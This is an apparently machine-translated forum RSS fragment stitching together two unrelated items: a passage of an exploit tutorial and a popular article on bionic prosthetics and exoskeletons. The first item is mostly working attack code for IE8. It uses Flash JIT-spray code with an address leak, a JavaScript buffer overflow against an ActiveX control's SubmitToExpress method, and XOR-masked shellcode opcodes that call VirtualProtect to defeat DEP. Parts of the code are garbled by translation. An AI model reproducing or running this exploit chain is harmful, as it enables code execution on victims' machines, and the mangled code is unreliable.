						&lt;p&gt;Перенесення шеллкода з Метасплойта в рядок ActionScript. Це просто, діємо за аналогією з HeapSpray. Так, наприклад, послідовність опкодов &amp;quot;\ x11 \ x22 \ x33 \ x44&amp;quot;, у форматі рядка AS буде виглядати як: &amp;quot;\ u2211 \ u4433&amp;quot;. Для зручності я написав невеликий скрипт (він є на диску до журналу), який збирає зі звичайного шеллкода у форматі рядка perl шеллкод у форматі рядка AS. Тепер нам треба обчислити покажчик цього рядка, щоб потім JIT-шеллкод зробив пам&#039;ять, де лежить цей рядок, що виконується. Діоніс знайшов спосіб отримання адреси рядки в пам&#039;яті через витік з об&#039;єкта класу Dictionary. Клас Dictionary дозволяє задавати пару значення-ключ, де в ролі ключа може бути будь-який об&#039;єкт. Наприклад:&lt;/p&gt;
						&lt;p&gt;var dict = new Dictionary ();&lt;br /&gt;var key = &amp;quot;key&amp;quot;;&lt;br /&gt;dict [key] = &amp;quot;Value1&amp;quot;;&lt;br /&gt;dict [&amp;quot;key&amp;quot;] = &amp;quot;Value2&amp;quot;;&lt;/p&gt;
						&lt;p&gt;Про типи об&#039;єктів та їх поданні до пам&#039;яті (атомах) можна докладно почитати в статті Діоніса, я ж коротко винесу суть. У даному прикладі, key - рядок. Рядок являє собою сутність довжиною в 32 біта, де перші 3 біти описують тип, наступні 29 біт - покажчик на значення рядка. Числа ж зберігаються не за вказівником. Якщо тип Integer, то 29 біт - значення числа, а перші 3 біти - також тип атома. Так в ActionScript розуміються дані, якщо спрощено. При використанні Dictionary, ключ хешіруется, і якщо таблиця для значень хешування досить велика, то в результаті велика частина вихідного значення залишиться незмінною. Якщо в якості ключа використовується число, то для хешування використовується його значення, а от якщо об&#039;єкт або рядок, то адресу. Залишилося отримати його значення. Зберемо два об&#039;єкти класу Dictionary і заповнимо перший об&#039;єкт парними числами, другий - непарними. Потім в кожний з об&#039;єктів засунь рядок з шеллкодом в якості індексу (значення не має значення:)).&lt;/p&gt;
						&lt;p&gt;var shellcode = &amp;quot;shellcode&amp;quot;;&lt;br /&gt;var even = new Dictionary ();&lt;br /&gt;var odd = new Dictionary ();&lt;br /&gt;/ / Заповнюємо&lt;br /&gt;for (i = 0; i &amp;lt;(1024 * 1024 * 8);&lt;br /&gt;i + = 1) {&lt;br /&gt;even [i * 2] = i;&lt;br /&gt;odd [i * 2 + 1] = i;&lt;br /&gt;}&lt;br /&gt;/ / Заносимо рядок&lt;br /&gt;even [shellcode] = 1;&lt;br /&gt;odd [shellcode] = 1;&lt;/p&gt;
						&lt;p&gt;Потім переберемо кожен об&#039;єкт, зберігаючи попередній індекс, поки не знайдемо рядок.&lt;/p&gt;
						&lt;p&gt;for (curr in even) {&lt;br /&gt;/ / Перебір ключів&lt;br /&gt;if (curr == shellcode)&lt;br /&gt;{Break;} / / знайшли рядок&lt;br /&gt;evenPrev = curr;&lt;br /&gt;}&lt;br /&gt;for (curr in odd) {&lt;br /&gt;if (curr == shellcode)&lt;br /&gt;{Break;}&lt;br /&gt;oddPrev = curr;&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;Алгоритм роботи Dictionary дозволяє нам за значенням індексів, що йдуть перед розміщенням рядки, обчислити адреса рядка. Використання двох об&#039;єктів дозволяє уникнути колізії, крім того, ці числа повинні відрізнятися на 17 - це буде говорити нам, що все пройшло правильно (все це пов&#039;язано з роботою хешування значення атомів і пошуку місця в таблиці для зберігання пари ключ-значення). Це і багато іншого ти можеш більш детально дізнатися в тій же статті Діоніса.&lt;/p&gt;
						&lt;p&gt;/ / Ptr - покажчик на адресу рядки з шеллкодом&lt;br /&gt;n oaeeeiaii&lt;br /&gt;if (evenPrev &amp;lt;oddPrev) {&lt;br /&gt;ptr = evenPrev;&lt;br /&gt;if (evenPrev +8 +9! = oddPrev)&lt;br /&gt;{/ / Перевірка&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;} Else {&lt;br /&gt;ptr = oddPrev;&lt;br /&gt;if (oddPrev +8 +9! = evenPrev) {&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;ptr = (ptr + 1) * 8; / / Повертаємо 3 біти і робимо зрушення на 8:&lt;br /&gt;(Ptr &amp;lt;&amp;lt;3) +8&lt;/p&gt;
						&lt;p&gt;Тепер, якщо до цього значення додати ще 12, то це буде покажчик на адресу рядка. Час JIT Spray! Для того щоб це виконати, досить відкрити безліч SWF файлів. При цьому перший файл завантажиться, а решта з кешу браузера підуть. Тим не менш, треба пам&#039;ятати, що Flash ставить обмеження на час роботи скрипта. Обійти це можна, використовуючи таймери і події або інтервал. Після цього передаємо управління в JavaScript з адресою рядка.&lt;/p&gt;
						&lt;p&gt;function pageLoadEx () {&lt;br /&gt;var ldr = new Loader ();&lt;br /&gt;var url = &amp;quot;jit_s0.swf&amp;quot;;&lt;br /&gt;/ / Файл з JIT-шеллкодом&lt;br /&gt;var urlReq = new&lt;br /&gt;URLRequest (url);&lt;br /&gt;ldr.load (urlReq);&lt;br /&gt;childRef = addChild (ldr);&lt;br /&gt;}&lt;br /&gt;function pageLoad () {&lt;br /&gt;for (var z = 0; z &amp;lt;600; z + +) {&lt;br /&gt;pageLoadEx ();&lt;br /&gt;} / / Вантажимо 600 разів&lt;br /&gt;ic = ic + 1;&lt;br /&gt;MyTextField1.text = ic +&lt;br /&gt;&amp;quot;- JIT spraying, wait for 4 ...&amp;quot;;&lt;br /&gt;if (ic == 4) {&lt;br /&gt;/ / 4 рази по 600 достатньо&lt;br /&gt;clearInterval (ldInt);&lt;br /&gt;MyTextField1.text = ic +&lt;br /&gt;&amp;quot;- Done, calling sploit ...&amp;quot;;&lt;br /&gt;ExternalInterface.call (&lt;br /&gt;&amp;quot;Exploit&amp;quot;, ptr);&lt;br /&gt;/ / Передаємо управління&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;ldInt = setInterval (pageLoad, 3500);&lt;br /&gt;/ / Запускаємо процес&lt;/p&gt;
						&lt;p&gt;Тепер треба сформувати переповнення буферу. Суть проста: переписуємо адресу повернення на адресу з JIT-шеллкодом, а далі, використовуючи переповнення, додаємо в стек адреса рядка з основним шеллкодом. Але тут можлива проблема: якщо адресу з JIT можна вибрати так, щоб не було нульових байтів або байтів не з ASCII-рядка, то адресу основного шеллкода вже не вибрати ніяк. Я придумав милицю, який допоможе запхнути адресу в стек - використовуємо надмірність. Розіб&#039;ємо чотирибайтових адресу на два. Приміром, у нас адресу 0x01FF001A. Другий і третій байт не проходять. Робимо з нього дві адреси: 0x606F6061 і 0x616F606A. Перевертаємо послідовність і заносимо в рядок. Значення [0x60 .. 0x6F] легко передаються. JIT шеллкод відновить оригінальний адресу за формулою ((0x606F6061-0x60606060) &amp;lt;&amp;lt;4) + (0x616F606A-0x60606060) = 0x01FF001A. Крім того, досліджувана нами функція перескакує ще 8 байт після повернення, тому що використовує оператор retn 8. Для того, щоб врахувати це, заповнимо буфер так:&lt;/p&gt;
						&lt;p&gt;cccc ... 260 ... ccccAAAAffffBBBBCCCCCCCCCCCCDDDDDDDDDDDD&lt;br /&gt;ESI = AAAA - покажчик на 0, так само є в JIT-spray блоці&lt;br /&gt;RET = BBBB - покажчик на JIT шеллкод&lt;br /&gt;Сссс - старші байти покажчика&lt;br /&gt;DDDD - молодші байти покажчика&lt;/p&gt;
						&lt;p&gt;У такому випадку ми враховуємо 3 варіанти результату: retn, retn 4 і retn 8.&lt;/p&gt;
						&lt;p&gt;Шеллкод візьме старше значення, потім зрушиться в стеку на 12 байт і візьме молодше. Залишилося визначити сама адреса повернення. Мої спостереження показали, що якщо SWF файл з JIT-шеллкодом буде достатньо об&#039;ємним, то відстань між блоками буде занадто великим і є значна ймовірність не вгадати адресу. Щоб блоки росли з однаковим инкрементом, який можна передбачити, потрібно дотримуватися розмір виділюваної пам&#039;яті в межах 0x1000 байт. Тоді кожен виконуваний блок буде відрізнятися від попереднього рівно на 0x010000 байт. Причому розмір блоку буде 0x1000 байт, після цього блоку слідують не виконує, блоки пам&#039;яті. Подальше залежить від ASLR, завантаженості процесу та кількості завантажуються блоків. У нашому прикладі ідеальний адресу повернення є 0x1A1A0101. Хоча блок починається з 0x1A1A0000, ми вказуємо зрушення, так як спочатку йде шматок вступного коду, а потім наш JIT-шеллкод. Після шеллкода йде вивідний код Flash, решта забито нулями. У результаті:&lt;/p&gt;
						&lt;p&gt;var buf = &amp;quot;&amp;quot;;&lt;br /&gt;/ / Число в 16-ну рядок&lt;br /&gt;function decimalToHex (d, l, rad) {&lt;br /&gt;var hex = Number (d). toString (rad);&lt;br /&gt;while (hex.length &amp;lt;l) {&lt;br /&gt;hex = &amp;quot;0&amp;quot; + hex;&lt;br /&gt;}&lt;br /&gt;return hex;&lt;br /&gt;}&lt;br /&gt;function exploit2 (targetValue) {&lt;br /&gt;var bf = unescape (&amp;quot;% 63&amp;quot;);&lt;br /&gt;/ / Сссссс ... 260 ... cccccc&lt;br /&gt;var value = targetValue;&lt;br /&gt;value = decimalToHex (value, 8,16);&lt;br /&gt;/ / Розбиваємо адресу на дві&lt;br /&gt;чотирибайтових рядки&lt;br /&gt;var h11 = &amp;quot;% 6&amp;quot; + value.substring (0,1);&lt;br /&gt;var h12 = &amp;quot;% 6&amp;quot; + value.substring (1,2);&lt;br /&gt;var h21 = &amp;quot;% 6&amp;quot; + value.substring (2,3);&lt;br /&gt;var h22 = &amp;quot;% 6&amp;quot; + value.substring (3,4);&lt;br /&gt;var h31 = &amp;quot;% 6&amp;quot; + value.substring (4,5);&lt;br /&gt;var h32 = &amp;quot;% 6&amp;quot; + value.substring (5,6);&lt;br /&gt;var h41 = &amp;quot;% 6&amp;quot; + value.substring (6,7);&lt;br /&gt;var h42 = &amp;quot;% 6&amp;quot; + value.substring (7,8);&lt;br /&gt;/ / Два рядки&lt;br /&gt;var high = h41 + h31 + h21 + h11;&lt;br /&gt;var low = h42 + h32 + h22 + h12;&lt;br /&gt;/ / Буфер&lt;br /&gt;while (buf.length &amp;lt;260) buf = buf + bf;&lt;br /&gt;buf + = unescape (&amp;quot;% 0a% 0a% 1a% 1a&amp;quot;);&lt;br /&gt;/ / ESI - покажчик на 0&lt;br /&gt;buf + = &amp;quot;ffff&amp;quot; + unescape (&amp;quot;% 01% 01% 1a% 1a&amp;quot;);&lt;br /&gt;/ / Адреса повернення = 0x1A1A0101 -&lt;br /&gt;JIT шеллкод&lt;br /&gt;buf + = unescape (high); / / if ret&lt;br /&gt;buf + = unescape (high); / / if ret 4&lt;br /&gt;buf + = unescape (high); / / if ret 8 (у&lt;br /&gt;emsmtp.dll - ret 8)&lt;br /&gt;buf + = unescape (low);&lt;br /&gt;buf + = unescape (low);&lt;br /&gt;buf + = unescape (low);&lt;br /&gt;alert (&#039;Try me on 0x&#039; + decimalToH&lt;br /&gt;ex (targetValue, 8,16) + &#039;:-)&#039;);&lt;br /&gt;vuln.SubmitToExpress (buf); / / атака&lt;br /&gt;}&lt;br /&gt;/ / Викликаємо це з Флеша&lt;br /&gt;function exploit (targetValue) {&lt;br /&gt;setTimeout (&#039;exploit2 (&#039; + targetValue +&#039;)&#039;, 5000);&lt;br /&gt;/ / Крапельку почекаємо&lt;br /&gt;}&lt;br /&gt;JIT-Spray шеллкод&lt;/p&gt;
						&lt;p&gt;Повернемося до власне JIT-шеллкоду. Коли я почав над ним працювати, спливло як мінімум три основні підводні каменю.&lt;/p&gt;
						&lt;p&gt;1. Старший байт не може бути більше 0x7F. Інакше виходить занадто велика кількість і, щоб обробити його, в нашу XOR рядок додається непотрібний код, який все зіпсує. Тому ми можемо використовувати значення від 0x00 до 0x7F.&lt;/p&gt;
						&lt;p&gt;2. Якщо в нашому шеллкоде буде порівняння, а потім оператор умовного переходу (JNE / JE, наприклад), то треба тримати Z прапор незмінним після порівняння і до оператора переходу. Але ж ми можемо вводити команди тільки групою по три байти, а потім маскувати XOR. А XOR ми маскуємо оператором CMP, що, природно, не сприяє схоронності Z прапора. Щоб вирішити цю проблему, нам потрібно знайти оператор з розміром аргументу в один байт (значення XOR), та так, щоб він не впливав на Z прапор і не переходив меж 0x7F значенням опкода. ADD, SUB, XOR, OR, AND і т.д. - Все це не підходить. Якщо в результаті виконання операції регістр AL стане 0, то встановиться Z прапор. У підсумку, єдиним достойним командою виявилася команда PUSH - 0x6A. Тоді приклад порівняння і переходу буде виглядати так:&lt;/p&gt;
						&lt;p&gt;0x1A1A0110: 803F6E CMP [EDI], &#039;n&#039;&lt;br /&gt;0x1A1A0113: 6A35 PUSH 35&lt;br /&gt;0x1A1A0115: 75EF jnz short&lt;/p&gt;
						&lt;p&gt;3. Ми не можемо працювати повноцінно з чотирибайтових значеннями. Наприклад, зробити PUSH 0xA1B1C3C4. Адже для цього нам треба 5 контрольованих поспіль байт, і ще 6 байт для маскування XOR, а у нас їх тільки 3. Але ця проблема вирішується, якщо працювати з регістром і його частинами. Спочатку 4 байти в регістр, причому другий молодший байт буде XORом - 0x35. Потім міняємо AL і AH.&lt;/p&gt;
						&lt;p&gt;0x1A1A0110: B80035B1A1 MOV EAX, 0xA1B13500&lt;br /&gt;0x1A1A0115: 3C35 CMP AL, 35&lt;br /&gt;0x1A1A0117: B063C4 MOV AL, C4&lt;br /&gt;0x1A1A011a: 3C35 CMP AL, 35&lt;br /&gt;0x1A1A011c: B163C3 MOV AH, C4&lt;br /&gt;0x1A1A011F: 3C35 CMP AL, 35&lt;br /&gt;0x1A1A0121: 50 PUSH EAX&lt;/p&gt;
						&lt;p&gt;Враховуючи ці три особливості, можна написати майже будь-який шеллкод. Пишемо той, що задумали. Повна версія на диску, тут наведено лише ключові моменти.&lt;/p&gt;
						&lt;p&gt;function funcXOR1 ()&lt;br /&gt;{&lt;br /&gt;var jit = (0x3c909090 ^ 0x3c909090 ^ .. / / почнемо з NOP&lt;br /&gt;0x3c44ec83 ^ / / 3583ec443c sub esp, 44; йдемо від адреси подалі&lt;br /&gt;0x3c90C033 ^ / / 3533C0903c xor eax, eax&lt;br /&gt;0x3c9030b0 ^ / / 35b030903c mov AL, 30&lt;br /&gt;0x3c008b64 ^ / / 35648b003c mov eax, fs: [eax]&lt;br /&gt;0x3c0c408b ^ / / 358b400c3c mov eax, fs: [eax + C]&lt;br /&gt;0x3c1c408b ^ / / 358b401c3c mov eax, fs: [eax +1 C]&lt;br /&gt;0x3c08508b ^ / / 358b50083c NEXT: mov edx, [eax +08]&lt;br /&gt;0x3c20788b ^ / / 358b78203c mov edi, [eax +20]; ім&#039;я модуля&lt;br /&gt;0x3c90008b ^ / / 358b00903c mov eax, [eax]&lt;br /&gt;0x6a6b3f80 ^ / / 35803f6b6a cmp [edi], &#039;k&#039;; Перша літера k? &amp;quot;Kern&amp;quot;&lt;br /&gt;0x3c90eA75 ^ / / 3575eA903c jnz short NEXT:&lt;br /&gt;0x3c904747 ^ / / 354747903c inc edi, inc edi; два байти зрушення - Unicode ж&lt;br /&gt;... / / І так далі інші три букви&lt;br /&gt;... / / Знайшовши модуль на ім&#039;я та його базовий адресу&lt;br /&gt;... / / Отримуємо покажчики на таблиці з іменами та адресами функцій&lt;br /&gt;0x3cb89090 ^ / / 359090b83c mov eax, 3c ..&lt;br /&gt;0x3c900000 ^ / / 350000903c 3500000&lt;br /&gt;0x3c9063b0 ^ / / 35b063903c mov ah, &#039;c&#039;&lt;br /&gt;0x3c5074b4 ^ / / 35b474503c mov al, &#039;t&#039; and push - &amp;quot;ct \ 0 \ 0&amp;quot;&lt;br /&gt;/ / Заносимо в стек по 4 байти &amp;quot;Virt ualP rote ct \ 0 \ 0&amp;quot;&lt;br /&gt;/ / Потім шукаємо в списку імен це ім&#039;я, як знайшли ім&#039;я, дивимося з цим же індексом адресу функції, одержуємо&lt;br /&gt;...&lt;br /&gt;0x3c5cc483 ^ / / 3583c45c3c add esp, 5c; Повертаємося до адреси шеллкода&lt;br /&gt;0x3c909058 ^ / / 355890903c pop eax; отримуємо старші байти&lt;br /&gt;0x3c08c483 ^ / / 3583c4083c add esp, 08; зсувається до молодшого адресою&lt;br /&gt;0x3cb9905a ^ / / 355a90b93c pop edx; отримуємо молодші значення&lt;br /&gt;0x3c906060 ^ / / 356060903c&lt;br /&gt;0x3c9060b1 ^ / / 35b160903c&lt;br /&gt;0x3c9060b5 ^ / / 35b560903c заносимо в регістр ecx 0x60606060&lt;br /&gt;0x3c90c12b ^ / / 352bc1903c sub eax, ecx&lt;br /&gt;0x3c90d12b ^ / / 352bd1903c sub edx, ecx; молодші відновили&lt;br /&gt;0x3c04e0c1 ^ / / 35c1e0043c shl eax, 4; тепер старші&lt;br /&gt;0x3c90c203 ^ / / 3503c2903c add eax, edx; ну і весь адресу&lt;br /&gt;0x3c90388b ^ / / 358b38903c mov edi, [eax]; отримуємо за вказівником адресу шеллкода&lt;br /&gt;0x3c08c783 ^ / / 3583c7083c add edi, 8; зсувається на 8 байт&lt;br /&gt;0x3c406a54 ^ / / 35546a403c push esp and push 40; готуємо параметри. 0x40 - дозволити на читання, запис і виконання&lt;br /&gt;0x3c90016a ^ / / 356a01903c push 01; розмір не має значення&lt;br /&gt;0x3cd3ff57 ^ / / 3557ffd33c викликаємо функцію&lt;br /&gt;0x3c90e7ff); / / і фінальний стрибок на основний шеллкод, вже виконуваний&lt;br /&gt;}&lt;br /&gt;function Loadzz2 () {var ret1 = funcXOR1 ();}&lt;/p&gt;
						&lt;p&gt;У коментарях шукай основний сенс, у опкодах ж присутній ще вирівнювання NOP&#039;амі і маскування XOR&#039;ов. Звичайно, даний шеллкод можна вписати в менші розміри, але в даному випадку значення це не має, головне - не набрати коду більше ніж 0x1000 = 4000 байт. Наш шеллкод має розмір близько 800 байт, включаючи NOP&#039;и, XOR&#039;и і вирівнювання Так що місця ще багато. Ось така історія. На диску ти знайдеш приклади інших шеллкодов і приклад експлойта. На жаль, ми не встигли розглянути варіант з точним обчисленням адреси JIT шеллкода, тим не менше, і даний варіант буде працювати. На диску є набір для генерації всього що знадобиться для обходу захисту DEP в IE8, до того ж відео, як цим користуватися.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (hak)</author>
			<pubDate>Fri, 15 Oct 2010 22:29:29 +0400</pubDate>
			<guid>http://hak.bbon.ru/viewtopic.php?pid=29#p29</guid>
		</item>
		<item>
			<title>Людина за ГОСТом</title>
			<link>http://hak.bbon.ru/viewtopic.php?pid=28#p28</link>
			<description>&lt;p&gt;Ви б хотіли одним стрибком перелітати через автомобілі, помічати ворогів на відстані декількох кілометрів і згинати руками сталеві балки? Треба думати, що так, але, на жаль, це нереально. Поки нереально ...&lt;/p&gt;
						&lt;p&gt;Біоніка - прикладна наука, що вивчає можливість об&#039;єднання живих організмів і технічних пристроїв, - сьогодні розвивається дуже швидкими темпами. Завдяки новітнім протезів та імплантатів, покращеної інтеграції з нервовою системою, а також компактним, але потужним джерелам енергії, людина зможе повністю перетворитися. Адже потенціал біоніки воістину безмежний ...&lt;/p&gt;
						&lt;p&gt;Прагнення володіти здібностями, що перевершують ті, що подарувала нам природа, сидить глибоко усередині кожної людини - це підтвердить будь-який тренер з фітнесу або пластичний хірург. Наші тіла володіють неймовірною здатністю до адаптації, але є речі, які їм не під силу. Наприклад, ми не вміємо розмовляти з тими, хто знаходиться поза межами чутності, ми не здатні літати, та й пляшку вина голими руками не всі з нас можуть відкрити. Тому нам потрібні телефони, літаки і штопори. Щоб компенсувати свою недосконалість, люди здавна застосовували різні &amp;quot;зовнішні&amp;quot; пристосування, однак з розвитком науки інструменти поступово зменшувалися і ставали все ближче до нас.&lt;/p&gt;
						&lt;p&gt;Крім того, кожен знає, що якщо щось трапиться з його тілом, то лікарі проведуть &amp;quot;ремонт&amp;quot;, використовуючи найсучасніші медичні технології.&lt;/p&gt;
						&lt;p&gt;Якщо скласти разом ці дві прості концепції, ми зможемо отримати уявлення про наступний крок еволюції людини. У майбутньому лікарі зможуть не тільки відновлювати &amp;quot;пошкоджене&amp;quot; або &amp;quot;вийшли з ладу&amp;quot; організми, вони почнуть активно покращувати людей, робити їх сильніше і швидше, ніж це вдалося природі. Саме в цьому полягає суть біоніки, і сьогодні ми з вами стоїмо на порозі появи людини нового типу. Можливо, ним стане хтось з нас ...&lt;/p&gt;
						&lt;p&gt;Одним з багатьох прикладів, які ілюструють процес трансформації &amp;quot;зовнішніх&amp;quot; інструментів у &amp;quot;внутрішні&amp;quot; і переходу від лагодження до заміни, є око. Колись давно, якщо у людини псувався зір, йому доводилося з цим миритися. Потім були винайдені окуляри, що дозволили майже будь-якому повернути собі заповітну &amp;quot;одиницю&amp;quot;. Далі були контактні лінзи, а ще трохи пізніше з&#039;явилася технологія лазерної корекції, що дозволяє фізично усувати дефекти органів зору.&lt;/p&gt;
						&lt;p&gt;Однак все це, по суті, ремонт. Разом з тим ми багато століть вдосконалювали наші оптичні &amp;quot;інструменти&amp;quot;: телескопи з&#039;явилися ще в XVII столітті, тому сьогодні біоніка навчається покращувати зір, причому, що називається, &amp;quot;на місці&amp;quot; - безпосередньо всередині ока. Одні з найдивовижніших розробок у цій області проводяться у Вашингтонському університеті, де доцент кафедри електротехніки Бабак Парвіз поміщає різні сенсори та електричні схеми прямо на контактні лінзи. Мета цієї роботи - виготовити багатофункціональні лінзи, які не тільки допоможуть бачити, але також створять &amp;quot;покращену&amp;quot; реальність, користувач якої зможе збільшувати масштаб зображення, отримувати доступ до GPS-даних і інших джерел інформації. Коли ж такі лінзи потраплять в один з оглядів нашого журналу?&lt;/p&gt;
						&lt;p&gt;&amp;quot;Швидше за все, не в наступні десять років, але, безсумнівно, ще за нашого життя&amp;quot;, - стверджує Парвіз. Втім, якщо появи комерційного зразка цієї системи ще доведеться почекати, то поліпшити свої очі ви можете вже зараз. Знаменитий американський гольфіст Тайгер Вудс вдався до допомоги лазерної хірургії і тепер бачить краще за більшість &amp;quot;звичайних&amp;quot; людей.&lt;/p&gt;
						&lt;p&gt;Коли Вудс провів своїм очам апгрейд, багато інших гольфісти захотіли послідувати його прикладу, тим самим підтвердивши один з головних принципів біоніки: &amp;quot;Якщо ти недостатньо хороший - виправ це!&amp;quot; Однак є місця, де перевагу над суперником набагато важливіше, ніж на майданчику для гольфу. Ми говоримо про поле бою. Саме тому англійських солдатів регулярно відправляють для поліпшення зору в спеціальну очну лікарню Мурфілд. Жартують, що після процедур бійці починають бачити так добре, що їм уже не потрібні оптичні приціли, і хоча це звучить кумедно, сама ідея явно заслуговує на увагу.&lt;/p&gt;
						&lt;p&gt;Очі - не єдині органи солдата, які можна вдосконалити. Армія США є лідером у розробці біонічних кінцівок. Раніше бійців, які втратили руку чи ногу, евакуювали і звільняли, але незабаром їх будуть постачати біопротезамі і повертати до ладу. &amp;quot;Ми хочемо, щоб рішення звільнятися чи залишатися в армії приймав сам солдатів, а не його поранення&amp;quot;, - говорить Джен Уокер з Агентства передових оборонних дослідницьких проектів Міністерства оборони США (DARPA).&lt;/p&gt;
						&lt;p&gt;Найчастіше військовослужбовці втрачають ноги. Сьогодні ножні протези стали неймовірно складними. У моделі C-Leg німецької фірми Otto Bock і в Rheo Knee ісландської компанії Ossur використовуються гідравлічні приводи, мотори, мікропроцесори та інтелектуальне програмне забезпечення, завдяки чому ці пристрої дозволяють власникам з комфортом ходити по різних поверхнях.&lt;/p&gt;
						&lt;p&gt;Головний мінус таких протезів - їх &amp;quot;зовнішній&amp;quot; характер. Тобто користувачеві доводиться носити їх, як одяг, а через деякий час вони неминуче зношуються і стають дуже незручними. І тут біоніка знову пропонує вихід - остеоінтеграція: зрощування штучного модуля і кістки. Гордон Блан з Університетського коледжу Лондона є одним з провідних дослідників у цій галузі. У своїй лабораторії він робить пористі титанові імплантати, які ефективно зростаються з шкірою, м&#039;язами і кістковою тканиною, стаючи в результаті невід&#039;ємною частиною організму носія.&lt;/p&gt;
						&lt;p&gt;Але якщо з стегнами і гомілками все відносно просто, то зі ступнями справи йдуть набагато складніше. Одне з існуючих рішень - PowerFoot One. Ця система, створена за фінансової участі Науково-дослідного центру телемедицини та передових технологій США (TATRC), використовує складну гідравліку для імітації основних положень, які приймає стопа, коли людина йде, зупиняється, повертає або танцює. Звичайно, PowerFoot One ще далеко до справжньої стопи, але роботи не припиняються ...&lt;/p&gt;
						&lt;p&gt;&amp;quot;У майбутньому з&#039;явиться можливість створення штучних частин тіла, що перевершують природні&amp;quot;, - вважає професор Массачусетського технологічного інституту Х&#039;ю Херр, чия лабораторія винайшла PowerFoot One. Ще одна цікава розробка - спортивний протез Cheetah Flex-Foot, який здобув широку популярність завдяки історії Оскара Пісторіуса, знаменитого спортсмена з ампутованими ногами. Міжнародна федерація легкої атлетики відсторонила Пісторіуса від змагань зі звичайними суперниками, вважаючи, що карбонові J-образні &amp;quot;ноги&amp;quot; забезпечують бігуну необгрунтовану перевагу, оскільки, працюючи як пружини, вони накопичують енергію при стисненні і видають 90% цієї енергії при розпрямленні. Це звучить переконливо, але спортивним чиновникам варто було б знати, що нормальна людська нога повертає понад 200% енергії ...&lt;/p&gt;
						&lt;p&gt;&amp;quot;Штучні кінцівки можуть якісно виконувати певні завдання протягом коротких періодів часу, - розповідає Піт Мур, автор дослідження з біоніки, названого&amp;quot; покращують себе &amp;quot;, - однак їм не під силу імітувати всі функції своїх природних аналогів, вони недовговічні, а також не здатні до регенерації &amp;quot;.&lt;/p&gt;
						&lt;p&gt;Професор Енді Травня, який є не тільки вченим, а й колумністом газети The Guardian, а також експертом з техніки і культури, додає: &amp;quot;Біонічні системи дуже специфічні. Пісторіус може швидко бігати на своїх протезах, але йому нелегко стояти на них без підтримки&amp;quot;. А що якщо вони зламаються? Погодьтеся, ми рідко усвідомлюємо, наскільки універсальні наші природні частини тіла, а також те, що наш організм уміє самостійно &amp;quot;лагодити&amp;quot; їх.&lt;/p&gt;
						&lt;p&gt;Втім, впадати у відчай не потрібно - бионические органи поки ще знаходяться на початковій стадії розвитку. Перші мобільні телефони теж були призначені виключно для здійснення дзвінків, а сучасні моделі служать нам в якості записників, щоденників, камер, навігаторів і багато чого іншого. Якщо розробники зуміли зробити багатофункціональними мобільники, то напевно подібне вдасться їм і у випадку з штучними кінцівками.&lt;/p&gt;
						&lt;p&gt;Основне завдання - визначити всі функції цієї ноги і втілити їх у штучної. Безліч біонічних пристроїв, в тому числі Flex-Foot і PowerFoot One, поки що не схожі на свої природні прототипи, проте скоро ця проблема буде вирішена завдяки штучній шкірі. Наприклад, протез руки i-LIMB Hand, створений компанією Touch Bionics, покритий дивно природної імітацією шкіри. Винахідник i-LIMB Девід Гау вважає, що штучні частини тіла одного разу перевершать справжні за своїми естетичними властивостями. І дійсно, хто знає, що саме ми будемо вважати привабливим у майбутньому ...&lt;/p&gt;
						&lt;p&gt;Сьогодні є чимало чоловіків, яким подобається силіконові груди, а, можливо, через кілька років вони будуть звеличувати гідності штучних ніг, рук, лімфатичних залоз і мізків. До речі, багато військових з біонічними протезами краще не приховувати їх і виглядати подібно Термінатора. Для таких &amp;quot;естетів&amp;quot; Touch Bionics пропонує i-LIMB у прозорому корпусі. І в цьому є сенс: як ви думаєте, хто більше налякає супротивника на полі бою - що йде на нього людина або кіборг?&lt;/p&gt;
						&lt;p&gt;Незважаючи на існування i-LIMB, технології створення штучних рук до недавнього часу значно відставали від розробок у галузі ножних протезів. Але так було до появи надсучасної біонічної руки Luke Arm, створеної Майклом Голдфарбом з Університету Вандербільта і компанією Deka Research. Luke Arm названа на честь знаменитого ампутанти Люка Скайуокера з &amp;quot;Зоряних воєн&amp;quot;. Незважаючи на те, що Luke Arm не має вбудованого світлового меча, вона в десять разів сильніше аналогічних моделей, оскільки замість акумуляторів і електромоторів оснащена мініатюрним ракетним двигуном, що працює на перекису водню. Управління побудоване на технології м&#039;язової реіннерваціі дозволяє пацієнтові віддавати протезу уявні команди.&lt;/p&gt;
						&lt;p&gt;Штучні кінцівки - це чудова новина для тих, хто втратив природну частину тіла, але чому б не дати суперможливості здоровим людям? Для цього були придумані екзоскелети - пристрої, що збільшують силу і витривалість користувача.&lt;/p&gt;
						&lt;p&gt;Японська корпорація Cyberdyne носить те ж ім&#039;я, що й компанія, що почала ядерний Армагеддон і нацькувала на людей армію роботів-вбивць у фільмах про Термінатора (сподіваємося, що такий збіг - не привід для занепокоєння). Cyberdyne створила HAL - екзоскелет для літніх японських фермерів, які в силу віку не можуть самостійно обробляти свої поля. Але це в миролюбній Японії, а в США компанії Sarcos і Raytheon розробили екзоскелет, що дозволяє власникові піднімати предмети вагою до 95 кілограмів, причому робити це знову і знову до виснаження заряду акумулятора (а це поки що серйозна проблема для подібних систем).&lt;/p&gt;
						&lt;p&gt;Лідером же є фірма Berkeley Bionics, чий пристрій HULC було запущено у виробництво в поточному році. HULC - повнофункціональний екзоскелет для нижніх кінцівок, що дає користувачеві можливість переносити ті ж самі 95 кілограмів вантажу.&lt;/p&gt;
						&lt;p&gt;Всі ці гаджети прекрасні, але серед завдань, що виникають при спробах зімітувати функції людських органів, найскладніша - це створення ефективної системи управління. Для автомобілів придуманий кермо, для комп&#039;ютерних ігор - джойстик, а як бути з рукою або ногою? До останнього часу повсюдно використовувалися різні рішення, в основі яких лежав джойстик, але зараз з&#039;явилися два нових перспективних підходу. У першому випадку пацієнт рухає різними м&#039;язами і таким чином &amp;quot;повідомляє&amp;quot; біонічним компонентів, що вони мають робити. У другому управління здійснюється безпосередньо - подумки.&lt;/p&gt;
